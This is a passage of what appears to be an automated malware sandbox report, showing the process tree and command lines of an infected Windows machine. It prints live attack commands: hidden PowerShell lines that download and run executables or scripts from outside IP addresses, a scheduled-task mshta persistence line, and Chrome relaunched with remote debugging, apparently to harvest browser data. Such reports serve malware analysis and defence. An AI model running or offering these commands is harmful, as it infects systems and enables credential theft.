PID 1412 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
PID 2684 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe C:\Windows\system32\cmd.exe
PID 1876 wrote to memory of 2156 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1876 wrote to memory of 2156 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1876 wrote to memory of 2156 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 2308 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 2308 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 2308 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1412 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 1412 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 1412 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 1412 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 1620 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 1620 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 1620 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 1620 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 1412 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 1412 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 1412 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 1412 wrote to memory of 3040 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 2084 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 2084 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 2084 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 2084 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 3040 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3040 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3040 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3040 wrote to memory of 2628 N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2628 wrote to memory of 2468 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2628 wrote to memory of 2468 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2628 wrote to memory of 2468 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2628 wrote to memory of 1748 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Windows\system32\ctfmon.exe
PID 2628 wrote to memory of 1748 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Windows\system32\ctfmon.exe
PID 2628 wrote to memory of 1748 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Windows\system32\ctfmon.exe
PID 2628 wrote to memory of 580 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe

"C:\Users\Admin\AppData\Local\Temp\bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn yC1L6maeOoq /tr "mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn yC1L6maeOoq /tr "mshta C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE

"C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"

C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe

"C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\90CB.tmp\90CC.tmp\90CD.bat C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"

C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe

"C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

"C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"

C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe

"C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe"

C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe

"C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1132 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2088 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2392 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2424 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1384 --field-trial-handle=1352,i,15140850668989547629,15380198250660156800,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe

"C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1308,i,11463231426258501154,10584747318541417943,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1440 --field-trial-handle=1308,i,11463231426258501154,10584747318541417943,131072 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe

"C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe"

C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe

"C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BC.tmp\CD.tmp\CE.bat C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6d19758,0x7fef6d19768,0x7fef6d19778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1384 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1572 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2480 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2412 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2856 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=3600 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe

"C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1848 -s 1192

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 --field-trial-handle=1468,i,328667954511933558,15527900849454057401,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1104 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1420 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2348 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2620 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2628 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 500

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1528 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=1360,i,6109265013730250235,14610696099345245880,131072 /prefetch:8

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 1036

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 500

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7c89758,0x7fef7c89768,0x7fef7c89778

C:\Windows\system32\ctfmon.exe

ctfmon.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1524 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1612 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2392 --field-trial-handle=1276,i,230203585583451278,10305662877137527272,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

